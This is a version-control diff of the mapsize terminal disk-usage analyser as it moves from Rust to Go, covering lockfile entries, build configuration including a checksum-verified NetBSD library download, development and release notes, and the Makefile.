||||
checksum = "224399e74b87b5f3557511d98dff8b14089b3dadafcab6bb93eab67d3aace965"
|
||||
dependencies = [
|
||||
"scopeguard",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "log"
|
||||
version = "0.4.34"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f9f8bd3e56ce4dfc153cf470fffbfa98c7620958b312ca5c3a4b8d5181fd13c6"
|
||||
|
||||
[[package]]
|
||||
name = "mapsize"
|
||||
version = "2.0.0"
|
||||
dependencies = [
|
||||
"crossbeam-channel",
|
||||
"crossterm",
|
||||
"flate2",
|
||||
"libc",
|
||||
"regex",
|
||||
"serde",
|
||||
"serde_json",
|
||||
"sha2",
|
||||
"unicode-segmentation",
|
||||
"unicode-width",
|
||||
"windows-sys 0.61.2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "memchr"
|
||||
version = "2.8.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "cf8baf1c55e62ffcace7a9f06f4bd9cd3f0c4beb022d3b367256b91b87513d98"
|
||||
|
||||
[[package]]
|
||||
name = "miniz_oxide"
|
||||
version = "0.9.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b63fbc4a50860e98e7b2aa7804ded1db5cbc3aff9193adaff57a6931bf7c4b4c"
|
||||
dependencies = [
|
||||
"adler2",
|
||||
"simd-adler32",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "mio"
|
||||
version = "1.2.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1788edb87fdc09c7e26304471e2f5be8cdefb1b6930d6e3985fc02ff53bf86ee"
|
||||
dependencies = [
|
||||
"libc",
|
||||
"log",
|
||||
"wasi",
|
||||
"windows-sys 0.61.2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "parking_lot"
|
||||
version = "0.12.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "93857453250e3077bd71ff98b6a65ea6621a19bb0f559a85248955ac12c45a1a"
|
||||
dependencies = [
|
||||
"lock_api",
|
||||
"parking_lot_core",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "parking_lot_core"
|
||||
version = "0.9.12"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "2621685985a2ebf1c516881c026032ac7deafcda1a2c9b7850dc81e3dfcb64c1"
|
||||
dependencies = [
|
||||
"cfg-if",
|
||||
"libc",
|
||||
"redox_syscall",
|
||||
"smallvec",
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "proc-macro2"
|
||||
version = "1.0.107"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "985e7ec9bb745e6ce6535b544d84d6cd6f7ad8bd711c398938ae983b91a766d9"
|
||||
dependencies = [
|
||||
"unicode-ident",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "quote"
|
||||
version = "1.0.47"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1fbf4db142a473a8d80c26bbf18454ed458bf8d26c8219c331daecfdbd079001"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "redox_syscall"
|
||||
version = "0.5.18"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ed2bf2547551a7053d6fdfafda3f938979645c44812fbfcda098faae3f1a362d"
|
||||
dependencies = [
|
||||
"bitflags",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "regex"
|
||||
version = "1.13.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f020237b6c8eed93db2e2cb53c00c60a8e1bc73da7d073199a1180401450218d"
|
||||
dependencies = [
|
||||
"aho-corasick",
|
||||
"memchr",
|
||||
"regex-automata",
|
||||
"regex-syntax",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "regex-automata"
|
||||
version = "0.4.18"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ad8553b9b26413251cbf30e620595c7a41b3887f03da04579c0e6b0d6a06b4b2"
|
||||
dependencies = [
|
||||
"aho-corasick",
|
||||
"memchr",
|
||||
"regex-syntax",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "regex-syntax"
|
||||
version = "0.8.11"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d6f6ff9a378485b298a5286656da665ba74413d36db0979633275d2e708145d4"
|
||||
|
||||
[[package]]
|
||||
name = "rustix"
|
||||
version = "0.38.44"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "fdb5bc1ae2baa591800df16c9ca78619bf65c0488b41b96ccec5d11220d8c154"
|
||||
dependencies = [
|
||||
"bitflags",
|
||||
"errno",
|
||||
"libc",
|
||||
"linux-raw-sys",
|
||||
"windows-sys 0.59.0",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "scopeguard"
|
||||
version = "1.2.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49"
|
||||
|
||||
[[package]]
|
||||
name = "serde"
|
||||
version = "1.0.229"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "4148590afebada386688f18773da617792bf2ef03ffc1e4cbd2b1d45b023e0ba"
|
||||
dependencies = [
|
||||
"serde_core",
|
||||
"serde_derive",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "serde_core"
|
||||
version = "1.0.229"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "67dca2c9c51e58a4791a4b1ed58308b39c64224d349a935ab5039aa360942a48"
|
||||
dependencies = [
|
||||
"serde_derive",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "serde_derive"
|
||||
version = "1.0.229"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e7a5d71263a5a7d47b41f6b3f06ba276f10cc18b0931f1799f710578e2309348"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "serde_json"
|
||||
version = "1.0.151"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "c841b55ecdae098c80dcae9cf767f6f8a0c2cdb3416bbef72181df4d0fe73f14"
|
||||
dependencies = [
|
||||
"itoa",
|
||||
"memchr",
|
||||
"serde",
|
||||
"serde_core",
|
||||
"zmij",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "sha2"
|
||||
version = "0.10.9"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283"
|
||||
dependencies = [
|
||||
"cfg-if",
|
||||
"cpufeatures",
|
||||
"digest",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "signal-hook"
|
||||
version = "0.3.18"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d881a16cf4426aa584979d30bd82cb33429027e42122b169753d6ef1085ed6e2"
|
||||
dependencies = [
|
||||
"libc",
|
||||
"signal-hook-registry",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "signal-hook-mio"
|
||||
version = "0.2.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b75a19a7a740b25bc7944bdee6172368f988763b744e3d4dfe753f6b4ece40cc"
|
||||
dependencies = [
|
||||
"libc",
|
||||
"mio",
|
||||
"signal-hook",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "signal-hook-registry"
|
||||
version = "1.4.8"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "c4db69cba1110affc0e9f7bcd48bbf87b3f4fc7c61fc9155afd4c469eb3d6c1b"
|
||||
dependencies = [
|
||||
"errno",
|
||||
"libc",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "simd-adler32"
|
||||
version = "0.3.10"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "3a219298ac11a56ea9a6d2120044824d6f01aeb034955e7af7bc16858527deea"
|
||||
|
||||
[[package]]
|
||||
name = "smallvec"
|
||||
version = "1.16.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f9395f0f0eee849a9b707b2f06bb92a6a422090e2123bb2ef8e87a0e61892a8e"
|
||||
|
||||
[[package]]
|
||||
name = "syn"
|
||||
version = "3.0.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "8593e8e72159ed2257d083c7a454a85cbf854f37a0966d8d483aff8c8a3ebcee"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"unicode-ident",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "typenum"
|
||||
version = "1.20.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b6f5e870be6c3b371b77fe0ee0bafb859fa4964b4404c27de1d380043c4dda20"
|
||||
|
||||
[[package]]
|
||||
name = "unicode-ident"
|
||||
version = "1.0.26"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d245f478577f809a851594d02313b640fb437e0bb33866753cff937863096954"
|
||||
|
||||
[[package]]
|
||||
name = "unicode-segmentation"
|
||||
version = "1.13.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "c6f5d3c3b1bf09027a88a6bc961fc00497d651009560b5463668dc81b0fa87a8"
|
||||
|
||||
[[package]]
|
||||
name = "unicode-width"
|
||||
version = "0.2.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b4ac048d71ede7ee76d585517add45da530660ef4390e49b098733c6e897f254"
|
||||
|
||||
[[package]]
|
||||
name = "version_check"
|
||||
version = "0.9.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a"
|
||||
|
||||
[[package]]
|
||||
name = "wasi"
|
||||
version = "0.11.1+wasi-snapshot-preview1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b"
|
||||
|
||||
[[package]]
|
||||
name = "winapi"
|
||||
version = "0.3.9"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419"
|
||||
dependencies = [
|
||||
"winapi-i686-pc-windows-gnu",
|
||||
"winapi-x86_64-pc-windows-gnu",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "winapi-i686-pc-windows-gnu"
|
||||
version = "0.4.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6"
|
||||
|
||||
[[package]]
|
||||
name = "winapi-x86_64-pc-windows-gnu"
|
||||
version = "0.4.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f"
|
||||
|
||||
[[package]]
|
||||
name = "windows-link"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5"
|
||||
|
||||
[[package]]
|
||||
name = "windows-sys"
|
||||
version = "0.59.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b"
|
||||
dependencies = [
|
||||
"windows-targets",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-sys"
|
||||
version = "0.61.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc"
|
||||
dependencies = [
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows-targets"
|
||||
version = "0.52.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973"
|
||||
dependencies = [
|
||||
"windows_aarch64_gnullvm",
|
||||
"windows_aarch64_msvc",
|
||||
"windows_i686_gnu",
|
||||
"windows_i686_gnullvm",
|
||||
"windows_i686_msvc",
|
||||
"windows_x86_64_gnu",
|
||||
"windows_x86_64_gnullvm",
|
||||
"windows_x86_64_msvc",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "windows_aarch64_gnullvm"
|
||||
version = "0.52.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3"
|
||||
|
||||
[[package]]
|
||||
name = "windows_aarch64_msvc"
|
||||
version = "0.52.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469"
|
||||
|
||||
[[package]]
|
||||
name = "windows_i686_gnu"
|
||||
version = "0.52.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b"
|
||||
|
||||
[[package]]
|
||||
name = "windows_i686_gnullvm"
|
||||
version = "0.52.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66"
|
||||
|
||||
[[package]]
|
||||
name = "windows_i686_msvc"
|
||||
version = "0.52.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66"
|
||||
|
||||
[[package]]
|
||||
name = "windows_x86_64_gnu"
|
||||
version = "0.52.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78"
|
||||
|
||||
[[package]]
|
||||
name = "windows_x86_64_gnullvm"
|
||||
version = "0.52.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d"
|
||||
|
||||
[[package]]
|
||||
name = "windows_x86_64_msvc"
|
||||
version = "0.52.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec"
|
||||
|
||||
[[package]]
|
||||
name = "zlib-rs"
|
||||
version = "0.6.8"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b268e58e7c693d7c271f93ffc4ba3b380412554231c85bf61ca7af91042a4112"
|
||||
|
||||
[[package]]
|
||||
name = "zmij"
|
||||
version = "1.0.23"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "29666d0abbfad1e3dc4dcf6144730dd3a3ab225bbbdac83319345b1b44ccfc1b"
|
||||
-26
@@ -1,26 +0,0 @@
|
||||
[package]
|
||||
name = "mapsize"
|
||||
version = "2.0.0"
|
||||
edition = "2021"
|
||||
license = "GPL-3.0-or-later"
|
||||
description = "Interactive terminal disk usage analyser with a live, navigable treemap"
|
||||
|
||||
[dependencies]
|
||||
libc = "0.2"
|
||||
regex = "1"
|
||||
crossbeam-channel = "0.5"
|
||||
crossterm = "0.28"
|
||||
flate2 = "1"
|
||||
sha2 = "0.10"
|
||||
serde = { version = "1", features = ["derive"] }
|
||||
serde_json = "1"
|
||||
unicode-segmentation = "1"
|
||||
unicode-width = "0.2"
|
||||
|
||||
[target.'cfg(windows)'.dependencies]
|
||||
windows-sys = { version = "=0.61.2", features = ["Win32_Foundation", "Win32_System_Time", "Win32_UI_Shell"] }
|
||||
|
||||
[profile.release]
|
||||
lto = true
|
||||
codegen-units = 1
|
||||
strip = true
|
||||
-11
@@ -1,11 +0,0 @@
|
||||
# The cross image for NetBSD lacks libexecinfo, which Rust's standard library
|
||||
# links on NetBSD. Take it (and libelf, which it needs) from the official
|
||||
# NetBSD 9.2 base set, matching the image's libc, checked against the
|
||||
# release's published SHA512.
|
||||
[target.x86_64-unknown-netbsd]
|
||||
pre-build = [
|
||||
"curl -fsSL -o /tmp/base.tar.xz https://archive.netbsd.org/pub/NetBSD-archive/NetBSD-9.2/amd64/binary/sets/base.tar.xz",
|
||||
"echo '961511ec63f4803529aeb057632e2b8cf87e73bfdfed445d7521b607f573245359163b9f6b6a158fa80de7a994cf3727af384ec42ac8d9ccdd59a87197a41b55 /tmp/base.tar.xz' | sha512sum -c",
|
||||
"tar -xJf /tmp/base.tar.xz -C /usr/local/x86_64-unknown-netbsd --strip-components=2 ./usr/lib/libexecinfo.so ./usr/lib/libexecinfo.so.0 ./usr/lib/libexecinfo.so.0.0 ./usr/lib/libelf.so ./usr/lib/libelf.so.2 ./usr/lib/libelf.so.2.0",
|
||||
"rm /tmp/base.tar.xz",
|
||||
]
|
||||
+46
-79
@@ -1,78 +1,43 @@
|
||||
# Development
|
||||
|
||||
Requires `rustup`: `rust-toolchain.toml` pins the compiler (so local builds
|
||||
match CI), and `Cargo.lock` pins the dependencies. No C toolchain beyond what
|
||||
Rust itself needs.
|
||||
Requires Go (see `go.mod`). No CGO, no external tools.
|
||||
|
||||
```sh
|
||||
make build # target/release/mapsize
|
||||
make test # cargo test --release
|
||||
make lint # clippy, warnings are errors
|
||||
make fmt-check # rustfmt
|
||||
make benchmark # in-process benchmarks (layout, render, filter): examples/bench.rs
|
||||
make treegen # synthetic test-tree generator: examples/treegen.rs
|
||||
make release # local release assets in dist/release (see below)
|
||||
make build # bin/mapsize, bin/treegen
|
||||
make test # go test ./...
|
||||
make race # go test -race ./...
|
||||
make vet fmt-check
|
||||
make benchmark # go test -bench
|
||||
make fuzz # short fuzz runs of snapshot / treemap / filter
|
||||
make release # cross-compiled binaries in bin/release
|
||||
```
|
||||
|
||||
CI (`.github/workflows/ci.yml`) runs rustfmt and clippy, the tests on Linux
|
||||
(x86-64 and ARM64), macOS (Intel and Apple silicon) and Windows, and
|
||||
cross-builds every release target, running the ARM and RISC-V Linux
|
||||
binaries under qemu.
|
||||
|
||||
## Platforms
|
||||
|
||||
`scripts/build.sh` builds `dist/mapsize-OS-ARCH`:
|
||||
|
||||
| OS | Architectures | Rust target | Built with |
|
||||
|---|---|---|---|
|
||||
| Linux | amd64, arm64, 386, arm (v7), riscv64 | `*-unknown-linux-musl` (static) | cargo-zigbuild + zig |
|
||||
| Windows | amd64, arm64 | `x86_64-pc-windows-gnu`, `aarch64-pc-windows-gnullvm` | cargo-zigbuild + zig |
|
||||
| macOS | amd64, arm64 | `*-apple-darwin` | cargo on a Mac (or zigbuild) |
|
||||
| FreeBSD, NetBSD | amd64 | `x86_64-unknown-{freebsd,netbsd}` | cross + Docker (`Cross.toml` adds NetBSD's libexecinfo) |
|
||||
|
||||
Platform differences live in `src/platform.rs` (and `cfg` blocks where the
|
||||
terminal code needs them); nothing else switches on the OS.
|
||||
|
||||
## Releasing
|
||||
|
||||
Example for 1.2.0; substitute the real version throughout.
|
||||
```sh
|
||||
git tag -a v1.0.0 -m "mapsize 1.0.0"
|
||||
make release # bin/release: archives, .deb/.rpm/.apk/Arch, SHA256SUMS
|
||||
```
|
||||
|
||||
1. Update the version in `Cargo.toml` (then `cargo check` to refresh
|
||||
`Cargo.lock`) and `docs/mapsize.1`, and turn `## Unreleased` in
|
||||
CHANGELOG.md into `## 1.2.0 — DATE`. Commit.
|
||||
2. Tag and push:
|
||||
```sh
|
||||
git tag -a v1.2.0 -m "mapsize 1.2.0"
|
||||
git push origin master v1.2.0
|
||||
```
|
||||
3. The tag starts `.github/workflows/release.yml`, which builds every
|
||||
target, packages them (archives, .deb/.rpm/.apk/Arch packages,
|
||||
SHA256SUMS) and publishes the GitHub release with the changelog section
|
||||
as its notes. Watch it with `gh run watch`. `make release` builds the
|
||||
same assets locally into `dist/release`, for whichever targets the host
|
||||
can build (`scripts/build.sh`, then `scripts/release.sh`).
|
||||
4. Check the release page once the workflow has finished.
|
||||
5. Update Homebrew. This needs the tag pushed (step 2), because it
|
||||
checksums GitHub's source tarball for that tag:
|
||||
```sh
|
||||
make brew-formula VERSION=v1.2.0 # writes dist/homebrew/mapsize.rb
|
||||
git clone https://github.com/andydixon/homebrew-tap /tmp/tap
|
||||
cp dist/homebrew/mapsize.rb /tmp/tap/Formula/mapsize.rb
|
||||
git -C /tmp/tap commit -am "mapsize 1.2.0" && git -C /tmp/tap push
|
||||
```
|
||||
Users get it with `brew upgrade mapsize`. Template:
|
||||
`packaging/homebrew/mapsize.rb.in`.
|
||||
6. Publish to the apt, dnf and pacman repository at repo.dixon.cx. This
|
||||
builds signed .deb, .rpm and Arch packages from the tag and rebuilds the
|
||||
repository indexes (needs cargo-zigbuild and zig, docker, gpg,
|
||||
apt-ftparchive and the signing key in `~/.config/repo.dixon.cx/gnupg`):
|
||||
```sh
|
||||
packaging/repo.sh v1.2.0
|
||||
```
|
||||
The same script, with its own project block, publishes vault.
|
||||
The version comes from `git describe` and is stamped into
|
||||
`brand.Version`; untagged builds report the fallback in
|
||||
`internal/brand/brand.go`. Packages need network access the first time
|
||||
(`nfpm` is fetched with `go run`). Bump the version in `docs/mapsize.1` and
|
||||
`brand.go` and add a CHANGELOG section before tagging.
|
||||
|
||||
The binary reports the version in `Cargo.toml`; `scripts/release.sh`
|
||||
refuses to package a tag that does not match it.
|
||||
### Homebrew
|
||||
|
||||
After pushing the tag:
|
||||
|
||||
```sh
|
||||
make brew-formula # → bin/homebrew/mapsize.rb with the tarball's sha256
|
||||
```
|
||||
|
||||
Copy the result to `Formula/mapsize.rb` in the tap repository
|
||||
`github.com/andydixon/homebrew-tap`; users then run
|
||||
`brew install andydixon/tap/mapsize`. The formula builds from source with
|
||||
Go, stamps the version and installs the man page. Template:
|
||||
`packaging/homebrew/mapsize.rb.in`.
|
||||
|
||||
The snapshot format is stable at version 1: a format change must bump
|
||||
`snapshot.Version` and keep the reader for version 1.
|
||||
@@ -82,16 +47,17 @@ The snapshot format is stable at version 1: a format change must bump
|
||||
`treegen` creates synthetic trees:
|
||||
|
||||
```sh
|
||||
cargo run --release --example treegen -- --out /tmp/t --directories 50000 --files 1000000 --max-depth 20 --sparse --unicode
|
||||
target/release/mapsize /tmp/t
|
||||
bin/treegen --out /tmp/t --directories 50000 --files 1000000 --max-depth 20 --sparse --unicode
|
||||
bin/mapsize /tmp/t
|
||||
```
|
||||
|
||||
## Benchmarks
|
||||
|
||||
```sh
|
||||
make benchmark # in-process: layout, render, navigation, filters
|
||||
make benchmark # Go micro-benchmarks (layout, render, filter, scan)
|
||||
scripts/bench-scan.sh /path 1 2 4 8 # wall time and peak RSS per worker count
|
||||
sudo DROP_CACHES=1 scripts/bench-scan.sh /path # cold-cache runs
|
||||
MAPSIZE_MEM_ROOT=/path go test ./internal/scan -run TestMemoryPerNode -v
|
||||
```
|
||||
|
||||
Paste results into PERFORMANCE.md with the machine description. Never edit
|
||||
@@ -100,25 +66,26 @@ numbers by hand.
|
||||
## Terminal restoration checks
|
||||
|
||||
```sh
|
||||
MAPSIZE_DEBUG_PANIC=ui target/release/mapsize . # panics on the first key press
|
||||
MAPSIZE_DEBUG_PANIC=scanner target/release/mapsize / # panics in a scanner thread (aborts)
|
||||
MAPSIZE_DEBUG_PANIC=ui bin/mapsize . # panics on the first key press
|
||||
MAPSIZE_DEBUG_PANIC=scanner bin/mapsize / # panics in a scanner goroutine
|
||||
stty -a # echo/icanon must be back on
|
||||
```
|
||||
|
||||
## Profiling
|
||||
|
||||
Build with symbols (`CARGO_PROFILE_RELEASE_STRIP=false
|
||||
CARGO_PROFILE_RELEASE_DEBUG=1 cargo build --release`) and use the platform
|
||||
profiler, for example `perf record -g target/release/mapsize --no-ui /path`
|
||||
on Linux or Instruments on macOS. `examples/bench.rs` times the hot UI paths
|
||||
in-process.
|
||||
```sh
|
||||
bin/mapsize --no-ui --cpuprofile cpu.prof --memprofile mem.prof /path
|
||||
go tool pprof -http=: cpu.prof
|
||||
```
|
||||
|
||||
`--log FILE --log-level debug` writes a log without disturbing the TUI.
|
||||
Paths are logged only at `debug`/`trace` level.
|
||||
|
||||
## Layout
|
||||
|
||||
See ARCHITECTURE.md. Rules of thumb:
|
||||
|
||||
* `treemap` and `filter` must not depend on `tui`.
|
||||
* OS-specific code lives in `platform` (`cfg` attributes); the terminal code
|
||||
has the only other `cfg` blocks.
|
||||
* All strings derived from filenames go through `textutil::sanitize` before
|
||||
* `internal/treemap` and `internal/filter` must not import UI packages.
|
||||
* Only `internal/platform` may contain OS-specific code (build tags).
|
||||
* All strings derived from filenames go through `textutil.Sanitize` before
|
||||
reaching a terminal.
|
||||
|
||||
@@ -1,54 +1,80 @@
|
||||
BIN := bin
|
||||
PKG := ./...
|
||||
VERSION ?= $(shell git describe --tags --always --dirty 2>/dev/null || echo dev)
|
||||
LDFLAGS := -s -w
|
||||
PREFIX ?= /usr/local
|
||||
VERSION ?= $(shell sed -n 's/^version = "\(.*\)"/\1/p' Cargo.toml | head -1)
|
||||
|
||||
.PHONY: build install man test lint fmt fmt-check benchmark treegen release brew-formula clean
|
||||
.PHONY: build install man brew-formula test race vet fmt fmt-check benchmark fuzz release clean treegen
|
||||
|
||||
build:
|
||||
cargo build --release --locked
|
||||
go build -trimpath -ldflags '$(LDFLAGS)' -o $(BIN)/mapsize ./cmd/mapsize
|
||||
go build -trimpath -ldflags '$(LDFLAGS)' -o $(BIN)/treegen ./cmd/treegen
|
||||
|
||||
install: build
|
||||
install -Dm755 target/release/mapsize $(DESTDIR)$(PREFIX)/bin/mapsize
|
||||
install -Dm755 $(BIN)/mapsize $(DESTDIR)$(PREFIX)/bin/mapsize
|
||||
install -Dm644 docs/mapsize.1 $(DESTDIR)$(PREFIX)/share/man/man1/mapsize.1
|
||||
|
||||
man:
|
||||
man -l docs/mapsize.1
|
||||
|
||||
test:
|
||||
cargo test --release --locked
|
||||
go test $(PKG)
|
||||
|
||||
lint:
|
||||
cargo clippy --locked --all-targets -- -D warnings
|
||||
race:
|
||||
go test -race $(PKG)
|
||||
|
||||
vet:
|
||||
go vet $(PKG)
|
||||
|
||||
fmt:
|
||||
cargo fmt
|
||||
gofmt -w .
|
||||
|
||||
fmt-check:
|
||||
cargo fmt --check
|
||||
@test -z "$$(gofmt -l .)" || (gofmt -l . && echo 'run make fmt' && exit 1)
|
||||
|
||||
benchmark:
|
||||
cargo run --release --locked --example bench
|
||||
go test -run=NONE -bench=. -benchmem $(PKG)
|
||||
|
||||
treegen:
|
||||
cargo build --release --locked --example treegen
|
||||
fuzz:
|
||||
go test -run=NONE -fuzz=FuzzLoad -fuzztime=30s ./internal/snapshot
|
||||
go test -run=NONE -fuzz=FuzzSquarify -fuzztime=30s ./internal/treemap
|
||||
go test -run=NONE -fuzz=FuzzParse -fuzztime=30s ./internal/filter
|
||||
|
||||
# Binaries for every target this host can build (see scripts/build.sh), then
|
||||
# archives, Linux packages and SHA256SUMS in dist/release. Tagged releases are
|
||||
# built on GitHub's runners by .github/workflows/release.yml instead.
|
||||
# Cross-built archives plus .deb/.rpm/.apk/Arch packages in $(BIN)/release.
|
||||
REL := $(BIN)/release
|
||||
NFPM := go run github.com/goreleaser/nfpm/v2/cmd/nfpm@v2.41.1
|
||||
release:
|
||||
scripts/build.sh || true
|
||||
scripts/release.sh $(VERSION) dist dist/release
|
||||
rm -rf $(REL) && mkdir -p $(REL)
|
||||
@set -e; v=$(VERSION); v=$${v#v}; \
|
||||
for t in linux/amd64 linux/arm64 linux/386 linux/arm darwin/amd64 darwin/arm64 \
|
||||
windows/amd64 windows/arm64 freebsd/amd64 freebsd/arm64 openbsd/amd64 netbsd/amd64; do \
|
||||
os=$${t%/*}; arch=$${t#*/}; ext=; [ $$os = windows ] && ext=.exe; \
|
||||
name=mapsize-$$v-$$os-$$arch; d=$(REL)/$$name; echo "$$os/$$arch"; mkdir -p $$d; \
|
||||
CGO_ENABLED=0 GOOS=$$os GOARCH=$$arch GOARM=7 go build -trimpath \
|
||||
-ldflags '$(LDFLAGS) -X github.com/andydixon/mapsize/internal/brand.Version='$$v \
|
||||
-o $$d/mapsize$$ext ./cmd/mapsize; \
|
||||
cp README.md CHANGELOG.md LICENSE docs/mapsize.1 $$d/; \
|
||||
if [ $$os = windows ]; then (cd $(REL) && zip -qr $$name.zip $$name); \
|
||||
else tar -C $(REL) -czf $(REL)/$$name.tar.gz $$name; fi; \
|
||||
if [ $$os = linux ]; then mkdir -p $(REL)/pkg && cp $$d/mapsize $(REL)/pkg/; \
|
||||
a=$$arch; [ $$a = arm ] && a=arm7; \
|
||||
for f in deb rpm apk archlinux; do \
|
||||
VERSION=$$v ARCH=$$a $(NFPM) pkg -f nfpm.yaml -p $$f -t $(REL)/; done; rm -rf $(REL)/pkg; fi; \
|
||||
rm -rf $$d; \
|
||||
done; \
|
||||
